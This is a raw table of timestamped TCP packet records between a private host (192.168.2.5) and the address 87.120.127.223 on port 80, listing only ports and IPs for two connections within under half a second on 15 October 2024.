Oct 15, 2024 19:22:38.176968098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.177073956 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.177105904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.177128077 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.178474903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.178507090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.178538084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.178567886 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201334953 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201390982 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201549053 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201597929 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201648951 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201682091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201690912 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201719046 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201730967 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201750994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201802015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201834917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201869011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201893091 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201893091 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201900959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201935053 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201967001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.201987028 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.201999903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.202037096 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.202749014 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.202799082 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.202800035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.202835083 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.202889919 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.202914000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.202945948 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.202977896 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.203011990 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.203022003 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.203063011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.203092098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.203093052 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.203125000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.203152895 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.209614992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.209647894 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.209676027 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.209698915 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.209731102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.209749937 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.209767103 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.209830999 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.210135937 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.210167885 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.210201025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.210235119 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.213732004 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.213766098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.213785887 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.214325905 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.214386940 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.254061937 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254095078 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254127979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254149914 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.254179955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254210949 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254229069 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.254245043 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254280090 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254300117 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.254314899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254343987 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254401922 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.254679918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254734993 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.254735947 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254767895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.254815102 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.296133995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296166897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296219110 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296225071 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.296257019 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296277046 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.296289921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296318054 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.296324968 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296380997 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.296778917 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296811104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296844959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296876907 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.296921015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296955109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.296976089 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.299249887 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.299277067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.299309969 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.299328089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.299361944 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.299381971 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.299432039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.299490929 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324167013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324199915 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324228048 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324234009 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324266911 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324289083 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324301004 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324350119 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324384928 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324407101 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324434996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324436903 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324466944 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324498892 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324544907 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324548960 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324580908 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324599981 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.324613094 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324644089 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.324698925 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.325654984 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.325706959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.325711966 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.325736046 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.325784922 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.325798035 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.325818062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.325850010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.325869083 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.325978041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.326029062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.326030970 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.326062918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.326096058 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.326129913 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.326153040 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.326172113 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.331103086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331155062 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331187010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331249952 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.331450939 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331484079 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331501007 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.331517935 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331548929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.331578016 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.335823059 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.335856915 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.335889101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.335910082 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.371922970 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.371972084 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.371994019 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375050068 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375103951 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.375123024 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375157118 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375329018 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.375621080 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375673056 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375679970 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.375704050 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375737906 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375758886 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.375790119 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375838041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375871897 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375890017 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.375904083 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375912905 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.375936985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.375982046 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.413106918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413150072 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413203001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413207054 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.413235903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413269997 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413290977 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.413301945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413336039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413352966 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.413368940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413417101 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.413805962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413892984 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413927078 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.413984060 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.415513992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.415566921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.415574074 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.415601015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.415656090 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.416871071 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.416904926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.416938066 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.417001009 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441450119 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441507101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441524029 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441535950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441584110 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441615105 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441622972 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441647053 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441679001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441684008 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441756964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441792965 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441804886 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441838026 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441860914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441894054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441926956 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.441948891 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.441962004 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.442028999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.442044973 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.442061901 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.442095041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.442112923 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.442972898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443027020 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443032980 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.443075895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443109035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443146944 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.443159103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443212032 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.443212986 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443244934 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443276882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443296909 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.443309069 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443344116 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.443362951 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.447299957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.447350025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.447381973 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.447427988 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.447447062 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.447480917 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.447514057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.447525024 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.447587967 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.453716040 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.453771114 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.453771114 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.453800917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.453833103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.453862906 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.489108086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.489212990 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.489244938 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.489262104 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.489334106 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.489391088 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.492182016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.492234945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.492265940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.492322922 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.494472980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494525909 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494544983 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.494559050 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494607925 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494625092 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.494641066 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494677067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494693041 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.494709015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494741917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.494752884 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.528476000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.528506041 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.528544903 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.528556108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.528589964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.528645039 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.528964043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529015064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529047012 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529073000 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.529078960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529131889 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.529361010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529409885 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529442072 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529474020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.529474974 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.529526949 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.531308889 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.531341076 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.531373024 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.531434059 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.534280062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.534338951 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.534363985 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.534370899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.534421921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.534425020 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.534456015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.534487009 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.534517050 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.558650017 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.558737040 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.558789015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.558837891 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.558887959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.558887959 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.558919907 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.558954954 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.558984041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559006929 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.559036016 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.559040070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559089899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559119940 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559156895 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.559170008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559202909 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559209108 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.559237003 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559268951 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559284925 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.559303045 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.559334993 CEST	80	49793	87.120.127.223	192.168.2.5
